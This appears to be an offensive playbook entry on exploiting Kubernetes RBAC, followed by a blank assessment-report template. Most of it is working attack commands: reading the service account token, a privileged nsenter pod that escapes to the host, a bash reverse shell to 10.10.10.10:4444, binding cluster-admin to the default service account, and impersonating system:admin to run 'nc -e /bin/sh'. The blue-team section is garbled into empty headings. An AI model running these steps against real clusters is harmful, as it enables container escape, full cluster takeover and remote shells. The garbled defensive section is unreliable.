Kubernetes RBAC Exploitation

When to Use

• After gaining initial access to a Kubernetes pod (e.g., via a web vulnerability) and obtaining the pod's service account token.
• When performing a white-box security review of a Kubernetes cluster's RBAC definitions to identify potentially dangerous privilege escalation vectors.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Environment Enumeration

# export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

# kubectl auth can-i --list

Phase 2: Exploiting create pods (with Volume Mounts)

# cat <<EOF > malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: root-shell
spec:
  containers:
  - name: shell
    image: ubuntu
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" ]
    securityContext:
      privileged: true
  hostPID: true
  hostNetwork: true
EOF

kubectl apply -f malicious-pod.yaml

Phase 3: Exploiting bind and escalate (ClusterRoles)

# # cat <<EOF > malicious-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: malicious-binding
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF

kubectl create -f malicious-rolebinding.yaml

Phase 4: Exploiting impersonate

# kubectl auth can-i create pod --as system:admin
kubectl run rootshell --image=alpine --as system:admin -- sh -c "nc -e /bin/sh 10.10.10.10 4444"

Decision Point 🔀

flowchart TD
    A[Check Permissions ] --> B{Can Create Pods ]}
    B -->|Yes| C[Deploy Privileged Pod ]
    B -->|No| D[Check Role Bindings ]
    D -->|Can Bind/Escalate | E[Grant cluster-admin ]
    D -->|Can Impersonate | F[Impersonate system:admin ]

🔵 Blue Team Detection & Defense

• Audit Logging: Principle of Least Privilege: Pod Security Admission (PSA): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Kubernetes Rbac Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• CyberArk: Securing Kubernetes Clusters
• Kubernetes Auth Docs: RBAC Authorization